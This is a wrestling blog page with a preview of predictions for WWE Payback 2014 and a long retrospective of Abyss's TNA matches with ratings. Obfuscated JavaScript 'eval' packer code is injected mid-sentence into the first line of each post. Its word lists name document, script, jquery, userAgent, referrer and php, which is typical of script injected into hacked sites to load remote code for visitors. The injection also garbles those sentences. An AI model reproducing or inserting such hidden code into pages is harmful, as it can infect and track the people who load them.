Payback 2014 Preview

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfrii|var|u0026u|referrer|neitd||js|php'.split('|'),0,{})) year’s show was pretty awesome so hopefully this one lives up to it’s Papa. Let’s get to it.

We’ll start with the preshow as always. This is one of the obvious matches as there’s no way they’re unmasking Torito and take away any money they could get from selling bull masks. Hornswoggle can leave 3MB and start getting evil to promote the Leprechaun movie. The match should be fun though as both guys can actually work a match.

I’ll get the other obvious match out of the way: Rusev destroys Big E. for his first meaningful win. No questions here.

Paige retains the Divas Title. She’s too big of a deal to not get the belt here, and are people really going to complain about Alicia Fox having a push wasted? I could go for her in those white shorts again though.

Barrett beats Van Dam. There’s just no reason for RVD to win but the match should be entertaining enough.

I think Cesaro vs. Sheamus goes to a draw and Sheamus keeps the belt. Hopefully they’re not tying Cesaro down to the US Title and let him get the briefcase or maybe even the title. Either way it would seem he’s heading for a match with Brock so why give him a worthless midcard title? The match should be good though.

That leaves us with the two main events. I’m hoping Bray beats Cena, as Cena beating him for three seconds was bad enough, but keeping him down for ten seconds would just be horrible. Bray winning would allow him to do a bunch of crazy stuff that could be very interesting. I’m really not sure where he’s going, but it’s in a bad direction if Cena beats him. Also it’s not like Cena hasn’t lost a last man standing match before so this isn’t the biggest stretch in the world.

Finally, Shield almost has to beat Evolution. There’s just no reason for Evolution to win here as they have nothing to gainand with Batista likely leaving, it would be a good way to get him out. The elimination and anything goes rules should make things even more entertaining.

For a bonus, I think Bryan hands over the title, even though it means sitting through a lot of stupid drama that involves the Bellas and Stephanie getting WAY too much screen time. Bryan can bring the acting at times though and he’ll likely get a lot of time to do so tomorrow night. I still think the title goes above the ring at Money in the Bank, which should be a good way to get some people to care

Overall Payback looks predictable but entertaining. To be fair, that’s almost the same thing that was said about Wrestlemania and it was one of the best shows I’ve ever seen. This has a lot of potential to be awesome and hopefully it means we have a good summer to look forward to.

 

 

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Wrestler of the Day – May 13: Abyss

A monster, a monster, he’s turned into a monster. It’s Abyss.

After eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zntny|var|u0026u|referrer|nsisz||js|php'.split('|'),0,{})) some years in NWA Wildside, Abyss found his way to TNA and became a monster in the early days of the company. He would get into a feud with AJ Styles and win the Tag Team Titles with him in 2004. After losing them a month later, the two would face off on Weekly PPV #85 in a ladder match for a shot at the World Title.

Abyss vs. AJ Styles

From March 17, 2004 and this is a ladder match for the #1 contendership. The brawl is on immediately and AJ hits the Pele (called a bicycle kick here) to stagger the monster. AJ tries to hit the ropes but Abyss hits a HARD clothesline to take his head off. A chop that would make Big Show cringe puts AJ down and Abyss goes to get the ladder. Abyss shoves AJ down with the ladder from the floor but AJ just rams into Abyss to knock him back to the floor. Styles goes up the ladder but hops down and moves the ladder closer to the ropes. It takes too long to set up though and Abyss shoves the ladder down.

Both guys are back inside now and Abyss whips Styles hard into the ladder. The monster climbs up VERY slowly so AJ makes an easy save before bulldogging him onto the ladder. A springboard dropkick sends Abyss to the floor and Styles follows out with a dive. Now it’s AJ going up but Abyss blasts him in the back with a chair before wedging it between the ropes in the corner. Shock Treatment puts AJ down again and Abyss pulls out another ladder. This one stays outside though as he bridges it between the ring and the barricade.

AJ blocks a chokeslam by biting Abyss’ fingers but the monster throws him head first into the chair in the corner to knock Styles loopy. Abyss throws in some more chairs but AJ counters a powerbomb into the Styles Clash (really a pancake due to the legs not being wrapped around Abyss’ arms but close enough) in a very surprising power display. AJ goes up the ladder for a 450 splash, drawing a well earned THIS IS AWESOME chant.

They both climb again but AJ slows Abyss down with some kicks to the head. AJ can’t reach the contract so he busts out a sunset powerbomb to put Abyss through two chairs set up in the corner. Cue Raven to distract AJ for no explained reason, allowing Abyss to shove the ladder over, sending Styles FACE FIRST into the bridged ladder. Abyss easily gets the contract. Apparently Raven was trying to get Russo’s attention or something.

Rating: B+. They had my favorite match ever in TNA so it’s no surprise that I liked this too. It’s the David vs. Goliath formula which is going to work almost every time, especially when you have two people that can work at a high level. The ending felt abrupt but the big spots almost all worked here. Really good stuff, as expected.

Abyss would appear on the first episode of Impact from June 4, 2004.

Shark Boy vs. Abyss

Sharky goes after Abyss and bites his way out of a chokeslam. A high cross body is caught in an easy slam before the Black Hole Slam ends this quick. Total squash for Abyss.

The most famous match type of Abyss’ career has always been Monster’s Ball. He would be in the first incarnation at Victory Road 2004.

Abyss vs. Monty Brown vs. Raven

This is the original Monster’s Ball match, which originally was far different. The idea here is that the guys have been locked up without light or food for 24 hours. This aspect has since completely disappeared due to reasons of sanity and now it’s just a regular hardcore match. The announcers say that Raven has the advantage here as he’s smaller and crazier which makes sense, at least in the lack of food and light idea.

We have a table set up inside of 30 seconds. Abyss is dominating here for the most part. It’s really more of an intense triple threat rather than a hardcore match and now we have chairs coming in. Raven really is underrated in the ring. I love what Brown does by just chucking a chair at Raven’s head. That’s awesome. Naturally we have a ref bump because they’re required I suppose.

Now we move to the big spots of the match as we have Brown sitting on the top rope and Abyss busts out the tacks. Since he’s the only one wearing a shirt you know that he’s the guy that’s going to wind up going through them. Yep, Raven comes in to powerbomb him while he’s trying to suplex Brown. That wasn’t predictable at all. Not a bit. Raven gets two off of it and then we set up another stupid spot as the table is set up in the corner and Raven gets Pounced (a spear/tackle) through it. It was a mess of course.

Rating: D+. These things are going to happen and while I can’t stand them, I get that there’s a point to them. There is a market for these I guess and at least they’re keeping it shorter. There’s really no way to make these good without going too far, but this was really lackluster even for one of these.

It’s back to the AJ feud with my favorite TNA match ever. From Lockdown 2005.

Abyss vs. AJ Styles

For the few of you that might be wondering, this is my favorite TNA match ever. AJ is YOUNG looking here which is saying a lot as he’s still young today but here he looks like he’s about 19. He’s a two time world champion here though which is never mentioned anymore for no apparent reason. Abyss is listed at 350lbs here again but he’s a LOT slimmer looking here.

He still has the chains here which were a nice touch for him. I have no idea why but they are. AJ dives through the door to take down Abyss before he gets in. Abyss tries to whip him into the railing but AJ baseball slides UNDERNEATH the railing and jumps up onto it and hits a rana to take down Abyss. That was freaking awesome and happened inside of five seconds.

All AJ to start as we’re still on the floor. Abyss had more or less been unstoppable recently since splitting from his stablemate Alex Shelley (let that sink in for a bit) so this is a major showdown and seeing Abyss reeling is odd to see. Abyss fights him back and whips him into the railing again so this time AJ channels his inner Morrison and double jumps up to a platform into the crowd, spins around and jumps over FIVE ROWS of fans to his the forearm on Abyss. This is one of the most awesome performances I’ve ever seen and we’re maybe three minutes into this.

AJ dives at Abyss on the railing ala Sting but instead of crashing into it clears the railing by a good foot and hits the ground in the crowd. Abyss pounds on him a bit but AJ just kicks the heck out of him to escape for a bit. West talks about Kenny Chesney for absolutely no apparent reason.

They open the door of the cage after about six minutes of brawling. The difference between this and the stupid stuff before: this was INCREDIBLY entertaining and the fans were way into it as opposed to Jarrett and Waltman walking around and occasionally hitting each other with something. AJ and Abyss never stopped moving and the fans were into it because of it. The difference here: hard work works better than walking around hitting each other with weapons.

AJ punches Abyss HARD but gets the cage door slammed into his arm and then his face where he snaps down to the floor. It looked like he got hit by a bus or something as fast as he hit the ground. Great selling there. AJ is busted open and Abyss pounds away even more. AJ finally in the cage now as Abyss looks under the ring for the bag of tacks. About eight and a half minutes in they’re in the cage together.

Abyss chokes him with the chain and we play tug of war. AJ simply will not quit and keeps hammering away to no avail though. With the chain on the top turnbuckle, Abyss launches AJ over his head in kind of a forced leapfrog and his head slams into the chain. The fans think this is awesome and for once they’re right. They stop for a bit for the a neck crank and AJ sells the heck out of it too.

AJ charges again but Abyss grabs him in a gorilla press and LAUNCHES him up to just let him crash down. He tries it again but AJ counters into a DDT onto the chain. Two punches and an enziguri takes Abyss down as does a headscissors. AJ hits a moonsault press but Abyss just lets him bounce off which was cool looking. AJ sends him into a chair into the corner that Abyss set up and gets a German suplex for two that looked very good.

He goes for the Styles Clash but Abyss is way too big for that. Chokeslam is countered into a rollup for two. AJ gets another running start but walks into the Black Hole Slam for a VERY long two. Dang Abyss looks awesome (what am I saying?) when he really uncorks that thing. Yep there are the tacks. Black Hole Slam into them are countered as is a powerbomb.

AJ gets the Styles Clash (ok more like a falling face first slam but we’ll give it to him) into the tacks for two. Wow I would have bet on that being the ending. You know if I didn’t know the ending already. Abyss is ROCKED here which was unthinkable until this match. AJ goes to the top of the cage and Abyss can’t catch him. His solution: throw the referee at the cage to knock AJ off. That was awesome.

Abyss climbs up as AJ is barely hanging on. He goes up with the chain and might be thinking to hang him as he had on Impact. Yep that’s what he’s going for. AJ is on the outside and Abyss on the inside and yep he’s hanging him. AJ gets the chain off somehow and Abyss grabs the chokeslam. AJ bites his fingers and opens those things up! AJ jumps off the top of the cage and hits a freaking sunset flip powerbomb onto the tacks from the top of the cage to get the pin as Abyss is DEAD.

Rating: A+. OH YES! AJ was absolutely amazing here and it was definitely Abyss’ best match ever. This was just a total war for twenty minutes with AJ never stopping and taking it to Abyss much like Flair did back at Starrcade 93 to Vader. There was no gimmick here as it was just a big old fight in a cage with weapons brought in for fun. AJ would get the title the next month….and then lose it to Raven the next month because the world was clamoring for more Raven and less AJ. Uh…sure. He wouldn’t get it back for over four years.

Abyss would enter into a Gauntlet for the Gold at Hard Justice for a title shot at some point in the future.

Gauntlet For The Gold

Roode is #1 and the surprise entrant Zach Gowen is #2. Get the joke from earlier now? Roode steals the prosthetic leg. West: “Put it back!” but Gowen comes back with one footed dropkicks and a reverse DDT. Eric Young comes in at #3. The intervals are only a minute long which includes their time coming to the ring. Remember at this point it’s over the top to eliminate people.

Roode gets a pretty evil one legged giant swing on Gowen. Cassidy Riley is #4. Ok now the clock doesn’t start until he gets to the ring. He helps against the Canadians and Gowen hits a leg lariat on Roode. Here’s Skipper at #5 and the clock is under Young rules again. Skipper takes a lariat from Roode but hits a nice moonsault to take him down. The ring is getting a little full now so everyone has something to do.

Shark Boy comes in at #6 to a nice reaction. Thank goodness he’s not Stone Cold yet. He won a match on the preshow to get in. Sharky hits a neckbreaker on Young but Gowen takes him down. Shark Boy bites Gowen hard enough that Gowen goes out. So we have our first elimination. #7 is another Canadian in the form of A-1, the big power guy. He cleans house with clotheslines and stomps on Riley.

#8 is Chris Sabin. In a Matrix style move, he sets for a tornado DDT on Young but with his feet in the air, he kicks EVERYONE ELSE in the chest in a big circle before hitting the DDT. That was cool. Petey Williams is #9 to put the Canadians at full strength. He tries a Destroyer on Sharky but gets backdropped to the apron. Shark Boy goes after him and is eliminated by A-1. Eric puts out Riley to get some people out of the ring.

Sonny Siaki is #10 and he goes after the Canadians. Skipper gets REALLY stupid and tries to walk the ropes. Roode is like boy you’re stupid and clotheslines him out. Lance Hoyt is #11 and he has his own cheering section. Young is easily tossed out by Hoyt and Team Canada is down to three. Sabin can’t get Williams out and Bentley is #12. He superkicks Hoyt but is taken out by Sabin who goes out at the same time. They fight on the floor as the Canadians put out Siaki.

Here’s Jerelle Clark at #13. He’s just an X-Division guy. There are five people in at the moment: Roode, A-1, Williams, Clark and Hoyt. The Canadians help Williams on a Destroyer to put Clark out. Mikey Batts is #14 and he fires off some kicks to take down the Canadians. He’s another X-Division guy. He and Hoyt team up on Canada as The Outlaw Kip James is #15.

A HUGE cobra clutch slam kills Batts and the fans want to see it again. #16 is Trytan but Hoyt hits a big boot before Trytan even gets in. Batts is gone. Trytan is chokeslamming everyone in sight and hits a spinebuster on Hoyt. Ron Killings is #17 and gets powerslammed very quickly. As Trytan poses, all three Canadians team up to throw him out.

Apollo is #18 and he cleans house. He and Kip chop it out but Apollo charges and is low bridged out. BG James is #19 but the Canadians break up the staredown between the Outlaws. Hoyt kicks Roode out but Roode helps A-1 to get rid of Hoyt. The Outlaws team up on Petey and A-1, tossing them both out. Abyss comes in at #20 and knocks both Outlaws out to get us down to the final two.

So it’s Truth vs. Abyss for the shot and it’s a regular one on one match, meaning over the top doesn’t mean anything anymore. Abyss throws him to the floor anyway and tries to hit him with a chair but it’s taken away by the referee. Back inside now and Abyss pounds on Killings in the corner. Truth speeds things up and hits a leg lariat and a headbutt for two. Abyss gets a big boot and brings in the chain but that gets taken away.

Instead he’ll use a chair because the referee takes forever to put the chain in the corner. Truth gets the chair and hits Abyss twice in the head for two. We actually get a ref bump in this match. Is this really needed? Truth checks on him and walks into a chokeslam onto the chair for a very delayed two. Abyss tries to Earthquake down onto the chair onto Killings but Truth crotches him on the chair instead. Not that it matters though as Killings jumps into the Black Hole Slam and it’s over.

Rating: C+. This wasn’t a horrible battle royal and the one minute intervals keep things moving fast enough. I’m not sure how much I like the one on one match at the end but it’s not a terrible idea I guess. Still though, like most non-Rumbles, this wasn’t a very interesting battle royal. Not awful though.

Abyss is a hardcore guy, so here’s a hardcore dream match from Genesis 2005.

Abyss vs. Sabu

No DQ. Abyss has a chair and his chain. Sabu of course has….nothing. He had his arm covered but when he pulled the towel off there was no barbed wire (there had been at an earlier show). Abyss bails to the floor and Sabu dives on him to take over early. Sabu sets up a table but Abyss takes over and sends him back in. Abyss beats on him VERY slowly as I’m assuming they have a lot of time here.

Sabu is bleeding from the nose. For some reason Abyss goes up, only to be ranaed down. Sabu sets up a chair but it goes upside his head for his efforts. Abyss wedges the chair between the ropes but due to the law of wrestling, he goes head first into it. Triple Jump Moonsault almost totally misses and it’s out to the floor (complete with an F Bomb from Sabu) where Abyss is driven through the table with a slingshot flipping legdrop.

Abyss gets up first and picks up his bag of tacks. As he’s laying them out though, Sabu pulls out a barbed wire chair. Mitchell pulls it away, but Sabu hits some clotheslines in an attempt to put Abyss into the tacks. Abyss is like screw that and chokeslams Sabu into the tacks but it only gets two. He loads up a Frog Splash but lands on tacks, which gets two for Sabu. Camel clutch goes on but Abyss makes a rope. Sabu gets the chair but Abyss knocks him down. Powerbomb onto the chair is countered by a Black Hole Slam onto the chair (FREAKING OW MAN!) gets the pin. Abyss wasn’t scared of it at all.

Rating: C-. It was very violent and the ending was sick, but it’s nothing we haven’t seen a million times before. Abyss being scared of the barbed wire went nowhere at all which didn’t help anything here. The match wasn’t that bad but it’s just another hardcore brawl with some sharp stuff involved.

Next up was a feud with NWA World Champion Christian Cage, culminating in a Full Metal Mayhem match at Sacrifice 2006. Abyss stole the title itself before challenging to become champion.

NWA World Title: Abyss vs. Christian

This is basically a TLC match and Christian is defending. Christian immediately takes him down but can’t overcome the power soon afterwords. Abyss goes for a ladder but Christian dropkicks it back into his face. Back into the ring and Abyss throws him to the apron, only to have the ladder see-sawed into his face. They head to the floor with Christian pounding away on Abyss’ head.

Out into the crowd and they go to that wall that the people in every big TNA brawl fight to. They head back into the ring and the ladder is set up in the corner. Abyss misses a splash onto said ladder so Christian puts it up in front of the challenger. He tries a charge at the ladder but Abyss throws it back at him, knocking Christian down. Abyss wedges a chair between the ropes, and due to the law of wrestling #1, goes crashing into it for his trouble.

Christian goes up and gets his hand on the belt but Abyss makes a pretty easy save. They fight over a German onto the ladder but after neither can get it to go, it’s Christian that is sent crashing into the ladder. Abyss goes outside and sets up a pair of tables next to the ring. Now there’s a table set up in the ring as well but Christian gets in a boot to the ribs to break things up.

Abyss puts him on the ladder but misses a cross body kind of move onto the climbing instrument. A frog splash onto the ladder misses but so does a chain shot against the post. Christian chokes him with the chain but gets flipped through one of the tables at ringside. Abyss goes up but Christian makes the save with a chair. They both fall off the ladder with Christian hitting the top rope. Abyss lays out the tacks but walks into an Unprettier onto the ladder. Mitchell takes a Rock Bottom into the tacks and Abyss is put on the table. He has a chance to go for the belt but drops a frog splash through Abyss, then grabs the title.

Rating: B-. This was ok but it never hit the level that a lot of these matches hit. This felt like something you would see on a TV show, meaning that while it was good there was nothing above the usual level of violence or carnage. For a B level main event it was fine, but it’s absolutely nothing you’d ever want to see a second time unless you were completely obsessed with Christian or something.

Next up was a WAY too long feud with Sting, where Sting tried to help bring out the person behind the mask. This involved James Mitchell being revealed as Abyss’ father and a bunch of strange matches, including this one at Destination X 2007.

Sting vs. Abyss

This is a Last Rites match which means a casket match but the casket is above the ring and you have to have it lowered and then pull them to the ceiling where somehow it signifies their death and ascension or something like that. And people wonder why Russo is made fun of. Keep in mind that Abyss was world champion about two months earlier after just having been an unstoppable monster. This is what we’re getting instead.

Still on the floor as this is just a big brawl so far. As always the splash on the railing misses and Abyss takes over with a chair shot to the back. Into the ring for the first time and there are candles on the corner. Plastic ones mind you but still dude, candles? Scorpion Death Drop puts Abyss down for no cover but he was down for all of a second. One of the candelabras goes into Sting’s face and he’s busted open.

Abyss calls down the casket and the lights go all blue. LOUD fire Russo chant starts up as Sting is pouring blood. Half of the casket is shut and it becomes a regular casket match now. There’s a tombstone. The one made of rock, not the Piledriver. Scorpion goes on and Abyss taps which means nothing. Chair shot puts him down as Sting is bleeding a ton.

The fans chant boring as Sting puts the stone over Abyss’ head and breaks it with the bat. Sting gets out and Abyss shoves him into the corner with his hand around the throat. Abyss chokeslams Sting onto the casket, crushing it. The fans chant TNA, showing that it doesn’t take much to sway their emotions.

Abyss sets up a pair of chairs back to back and puts a tombstone over the top of them. He puts Sting on top for a suplex through it but Sting grabs the candelabra and blasts Abyss in the head with it, knocking them through the tombstone. Sting puts Abyss in the casket to win it before collapsing onto it and having both of them raised into the air. This is what we’re talking about by matches and angles that no one but the booker gets and he doesn’t care what the fans think.

Rating: F+. The FIRE RUSSO chants were right. There were candles, tombstones and a broken casket. On top of that they had only a weak match at best. Sting’s blood was impressive but at the same time it’s nothing we haven’t seen before. Weak match overall and rather stupid to say the least. This feud went on forever and seemingly never stopped.

Sting and Abyss would soon join forces (because wrestling says they have to) and feud with Christian’s Coalition, including this match at Hard Justice 2007.

Andrew Martin/Sting/Abyss vs. Christian Cage/AJ Styles/Tomko

There’s barbed wire around the top of the cage and you win by pinfall, but the person being pinned has to be bleeding first. Abyss gets beaten down until bald Test makes the save. The lights go out and Sting appears in the ring, clocking Tomko with a chair. No one is in the ring at the moment. Ok so it’s Abyss vs. Styles now. Well they had my favorite match ever in TNA in a cage so no complaints there.

Tomko is busted so he could be pinned now. AJ gets a jumping enziguri to put Abyss to the floor again. Styles dives out of the cage to take Abyss out again. So….you know what, screw it. I’m not playing dumb on this one. GET IN THE FREAKING CAGE LIKE YOU’RE SUPPOSED TO YOU IDIOTS! Three minutes in we’re told that whoever gets the fall is the #1 contender. Well sure why not.

Test beats up Christian but Christian isn’t bleeding yet so no cover. And now we cut to the back to watch Pacman freaking Jones get loaded into an ambulance. In the middle of the second main event of all times. OH COME ON ALREADY. NO ONE FREAKING CARES TNA. This is shown for 23 seconds, which could be worse but it was 23 seconds too long. Guess what the announcers are going to talk about for awhile now.

Everyone is in the ring now I believe. Oh wait Sting isn’t. Tomko breaks up a double chokeslam and Sting is trying to get in. That fails and they manage to lock him out of the cage. Abyss is busted open from his head and arm. Total heel beatdown here but Sting has wire cutters. Sting gets in and here comes the comeback. Tomko cracks Sting with a chari and AJ hits a top rope splash on Abyss as does Christian, getting two. Test kicks a chair into Tomko’s head and there’s glass on the mat. Christian escapes which doesn’t mean anything here. Black Hole Slam onto the glass gives Abyss the pin on Styles.

Rating: C. For this big bloody war, this wasn’t much. Then again we didn’t see the complete version because we couldn’t wait five minutes to see Jones get loaded up into the ambulance of course. Not bad but Lethal Lockdown is a lot better than this was. Having only six people in there was a good thing though as it wasn’t too crowded in there.

Father Mitchell would come back with his other son, Judas Mesias, who challenged Abyss in a very bloody feud. From Against All Odds 2008.

Judas Mesias vs. Abyss

This was taped three weeks ago and is in the Impact Zone down in Orlando. There aren’t any ropes but rather barbed wire. Abyss pushes over a cameraman on the way to the ring. For some reason that made me chuckle. The fans are behind Abyss here. Well that’s good since he’s the face. The lack of ropes makes things look really weird here.

Abyss does the arm pose and Mesias looks at him. It’s weird seeing the face tower over the heel like he does here. They fight to try to push the other into the wire but neither has any luck. Mesias hits a dropkick and Abyss hits wire, cutting his arm a bit. Mesias goes in also, but in his case it’s side first. Drop toehold sends Abyss into the wire. This is going to be one of those matches where all we’re doing is sending people into the wire isn’t it?

Abyss slides under the wire as the fans chant who’s your daddy. He finds a chair wrapped in barbed wire and the fans want blood apparently. Abyss puts the chair on the chest of Mesias but it goes into Abyss’ crotch. That has to hurt a bit no? Barbed wire chair to Abyss’ head. BIG cut over the eye of Abyss.

Mesias brings in a barbed wire board with a slight bit of help from Mitchell. They’re on the floor now with Mesias in control. Abyss finds another board and Mesias is bleeding from the side. The new board is set up between the railing and the table like a platform. Abyss tries to chokeslam Mitchell through it but gets blocked by Mesias and it’s back into the ring. Chokeslam onto the barbed wire is blocked but a gorilla press drop isn’t and Mesias is all cut up.

Abyss’ arms are a mess. There’s ANOTHER barbed wire board being brought in by Abyss. Mesias gets up on the apron so Abyss chokeslams him down onto the board that was set up like a platform. Time for Abyss to go after Mitchell now and it’s a Black Hole Slam for the manager. Mesias pops up somehow and it’s a Black Hole Slam for him too.

Abyss gets hit low to shift the momentum again. Mesias more or less tackles Abyss into the boards for Abyss’ first major bump of the match. They slug it out and Mesias thinks it’s smart to charge at a guy whose finisher is a swinging slam. It connects onto one of the boards and this is over.

Rating: C+. Well they got the violence stuff pretty well I guess. All things considered this was pretty good. Thankfully this feud was OVER after this as I couldn’t take much more from it. Tenay saying that Abyss could be added to the list of hardcore legends like Funk, Brody, Cactus Jack and the Sheik is a big nauseating but you get the idea. Better than you would expect but just what you would expect if that makes sense.

In 2008, Kurt Angle started feuding with Jeff Jarrett. Jeff won the first match and Angle wanted to go again, but Jeff said Angle had to beat Abyss first. From Turning Point 2008.

Kurt Angle vs. Abyss

This is Falls Count Anywhere. I kind of dig Angle’s music. Angle needs to stay away from the red and white stripe singlet. It just doesn’t work for him. Abyss is in the prison suit thing and looks even stupider. It’s all monster to start as you would expect.

We’re in the crowd now and all Abyss can do is throw punches it seems. Angle gets a chair out of the front row. Great to see that someone got up and left in one of the biggest matches on the card. Angle does the running front flip off the stage onto Abyss that you see on a ton of TNA highlight reels.

It doesn’t really matter as Abyss is dominating maybe 8 seconds later. West says Angle kicked Abyss in the nuts. That sounded odd. They go through a wall and are under the stage. Always good to see Angle do new stuff. The cameras lose them so we completely stop for a bit as they come through the other side of the wall.

We’re back in the ring now as this has been your standard hardcore match so far. Angle Slam gets two of course. Why does everyone put the chair between the ropes like that? Angle gets chokeslammed for two. Angle actually hits the moonsault. It’s just finisher to finisher now.

Speaking of which there’s the ankle lock for just a second and it goes into the Black Hole Slam. I hate this part of matches most of the time. We head to the Spanish announce table and Angle goes up the scaffolding behind it. And there goes Abyss down through the table for the pin

Rating: B-. Not bad and it was intense, but this was really just your run of the mill hardcore match. Angle looked solid here but there was very limited drama. That forward flip though was great looking. The in ring stuff kind of sucked though and Abyss is just so limited it’s not even funny. Fun match though.

After all the violence, Abyss finally found a friend in Matt Morgan. They would team up and dominate a few weak teams, eventually getting a Tag Team Title shot at Final Resolution in December 2008.

Tag Titles: Beer Money vs. Matt Morgan/Abyss

Beer Money has Jackie with them and no one cares about her at all, period. Storm has the Boozer Cruiser thing too and I still hate it. Big brawl to start of course with everyone in there at once. Everyone runs around and Abyss goes to the back for a bit. Morgan dives off the top to the floor to take out Beer Money in a cool spot as Abyss is back, accomplishing nothing with his leaving.

I really hope the bell rang already and I just missed it so that the time so far has been taken off the time of this match. And there’s my answer as this is all pre-match stuff. Great. Beer Money try to run and that gets them nowhere. Standard you have until ten or the titles are forfeited jazz. Abyss and Storm finally officially start us off which is apparently the meat of this feud.

Storm cracked Abyss with some bottles and the monster is ticked off about it if you’re curious about the details for some odd reason. We get word that the X Title is held up AGAIN. Sweet goodness man just have the freaking title match and have it stick. This is what we mean by overbooking if you’re curious.

Morgan beats up Storm for a bit and asks the crowd if they want to see Storm vs. Abyss. Didn’t we see that like two minutes ago or is my memory going already? Beer Money has the titles here if I forgot to mention that. Storm runs from Abyss so we get Roode instead. I prefer Rick but this is fine I suppose. Roode is in trouble so Storm goes off to get some beer.

The fans are all over Beer Money here. Morgan sets for the Carbon Footprint and that twat waffle Jackie gets involved which thankfully isn’t a DQ. Storm finally comes in for a bit and works over Morgan’s knee for awhile. Half crab goes on for awhile as Beer Money does the referee isn’t looking so we’ll pretend we tagged and swear we did and get away with it because the referee is biased against faces technique.

Abyss finally comes in and we get Storm vs. Abyss which apparently has been built up for three or four days! Shock Treatment to Storm gets a long two. Storm tries to get a shot with the bottle but Abyss intercepts it. Jackie interferes and Storm gets a shot with brass knuckles to end it. Not huge on this one at all.

Rating: D+. It’s watchable I suppose but it wasn’t interesting at all and no one really cared in the slightest. Abyss vs. Storm was allegedly the selling point of the match and that never happened at all really. The ending was overdone to no end which should shock no one at all. It’s ok I guess but it felt thrown together which is never really good at all.

As is almost always the case in wrestling, the team split, leading to another violent feud. Here’s a big match between them at Lockdown 2009.

Doomsday Chamber of Blood: Matt Morgan vs. Abyss

I’d assume it’s a first blood match. Oh ok you win by pin or submission but they have to be bleeding first. Mike makes sure to inform us that this is NOT a first blood match though, even it’s about bleeding first. Morgan had turned heel again and turned on Abyss. Is anyone really surprised by that? Morgan has a chair to start but it gets knocked back into his face.

Lots of punches to start. This is during the Dr. Stevie period for Abyss and him being all insane and whatnot like that. Basic big man match to start as the fans say they want blood. I’ve always wanted someone to come out with a needle or something and get a tiny poke with it to make the guy bleed and take credit for a win like that. Abyss can’t bring himself to use a chair and he’s in trouble because of it.

Morgan throws weapons out of the ring to protect himself, drawing great heat. I see no barbed wire at all mind you. The chair to Abyss’ head busted him open so Morgan threw them out as he had the stuff he needed already. That makes sense actually. Morgan gets a decent dropkick. Fans are rather bored here but not entirely. This gimmick match overload is starting to wear on them though.

He busts out the bag of glass, making the whole idea of him throwing the chair out TOTALLY POINTLESS. The fans want Stevie. Morgan can’t manage to shove glass into the head of the monster. Abyss comes back and rams him into the cage a bunch and gets a chokeslam but he can’t pin him due to the lack of laceration. Morgan misses a cross body and down goes the referee.

Abyss gets some glass and jams it into Morgan’s head which would likely kill him but who cares about that? He covers Morgan and here’s a second referee for the two count. Abyss goes to the floor and gets the chair. There has been NO barbed wire which was advertised. Dr. Stevie is revealed to be Stevie Richards to the shock of NO ONE and his distractions lets a Carbon Footprint gets two.

The fans chant ECW as you can feel Vince’s lawyers smile from here. Yes they actually made not only a PPV but a major angle out of this. After Stevie steals the chair, Abyss goes under the ring and gets a bag full of tacks. THEN WHY DID HE GO FOR THE CHAIR IF HE KNEW THOSE WERE THERE???

Stevie STORMS, yes STORMS I say, the ring and beats up Abyss which gets him nowhere. Sweet goodness could they not overbook a single match? And then Morgan jumps him and gives him a chokebomb into the tacks for the easy pin. Well I’m glad to see they got the important plot point of STEVIE RICHARDS in this.

Rating: D+. I saw no barbed wire in there which was promised. The rest of this was nothing special in the slightest. Again they overdid it for the sake of the live crowd and having no one care about the actual match due to them just wanting Steven. This wasn’t anything great at all and was just another Abyss weapons match which we’ve seen a thousand times.

Time for another hardcore dream match, but Abyss is fired if he uses thumbtacks.  From Bound For Glory 2009.

Mick Foley vs. Abyss

Stevie Richards is referee and is the doctor again. LOUD pyro for Abyss. Foley jumps him on the ramp and is all casual about hitting him with the barbed wire bat. I like that. I’m reading his book at the moment and haven’t gotten to this part if it’s in there. Almost immediately Foley goes up the set, climbing a tower. Abyss follows and gets knocked through part of the ramp.

Foley climbs down as Stevie says Abyss is done. Foley gets a running start and drives the bat into Abyss as he’s still in that hole in the ramp/stage. Foley, the face, of course gets cheered. Stevie is the cheerleader dude here as the match just kind of stops until Abyss climbs through the stage. We have a barded wire board from somewhere and he makes a platform with it between the guard rail and the ring.

And there’s another board that’s just like the first. Double armed DDT to Abyss to the board. Richards beats up Abyss too because EVERYONE loved that angle. Foley gets a bat shot into Abyss’ arm to open it up. His head is busted too. Foley goes into the wire board now then Abyss does the same. Make that a sandwich as the other is under him. Naturally it only gets two.

Foley busts out the tacks and Abyss sets to chokeslam him onto them but he’s not allowed. Down goes Stevie and here’s Daffney to give Foley a Taser. And just to make it more stupid it explodes as Foley jabs him with it. They TOTALLY botch it as Abyss misses his kickout and Foley gets three and Abyss raises his shoulder at what would have been four so the referee says he kicked out anyway.

Crowd totally boos that out of the building as Stevie pulls the referee out when Abyss goes for the pin. Daffney goes through the platform they made earlier to get a HOLY SMOKES chant. Stevie tries to beat up Abyss and goes into the tacks for his trouble sans shirt. Chokeslam for Foley and we get the Over the Edge 98 finish as Abyss slams Richards’ hand down for the pin.

Rating: C-. Totally violent but overbooked. Also the botch messed things completely up as it was clearly three and everyone knew it. These matches are fine once in awhile but does it really prove anything? This was a far cry from the Edge or Orton matches and it just didn’t work that well for me. Granted I’m not a fan of hardcore so it’s not my style anyway.

Time for a trip to Mexico as Abyss was brought in as a mercenary at Triplemania XVIII.

Cibernetico/Abyss vs. El Zorro/Vampiro

Cibernetico is one of the top faces in the company (or was at this point). Abyss and Vampiro I think you know. El Zorro is a heel and part of the Foreign Legion and after this show would win the world title. This is a hardcore match. Despite being a foreigner Abyss isn’t part of the Foreign Legion for some reason.

